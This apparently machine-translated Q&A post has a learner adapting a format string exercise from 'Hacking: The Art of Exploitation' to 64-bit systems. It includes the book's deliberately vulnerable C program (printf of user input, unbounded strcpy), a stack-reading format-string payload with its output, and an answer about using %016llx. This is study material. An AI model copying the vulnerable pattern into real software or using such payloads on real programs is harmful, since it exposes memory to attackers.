我目前正在阅读“黑客攻击的艺术利用”,其中谈到格式字符串漏洞。这本书的练习试图通过将地址写入堆栈并使用格式参数读取,从内存的任意部分读取数据。问题是这个练习是为32位系统编写的,而我正在研究64位系统。我尝试在64位系统上运行的方法如下:

./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x

我从外壳得到的反应是:
打印用户控制输入的正确方法:
?????%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
错误的方法
打印用户控制输入:
0000000055755010.00000000f7dd18c0.00000000f7af4154.00000000000000000000035.0 ffffe088.000000005543c0.00000000ffeeaa
[*]测试值@0x55755010=
-72个0xffffffb8
如您所见,我只能读取较低的4个字节(0xFFFFEEAA),而较高的2个字节已经消失(0x7FFF)。有没有想过我该怎么解决?
顺便说一下,这是书中的fmt_vuln代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

这是我的贝壳的屏幕截图:
c - 格式字符串漏洞-LMLPHP

最佳答案

尝试使用%016llx(长x)而不是%016x读取,因为您读取的是64位十六进制,而不是32位十六进制。

10-05 18:13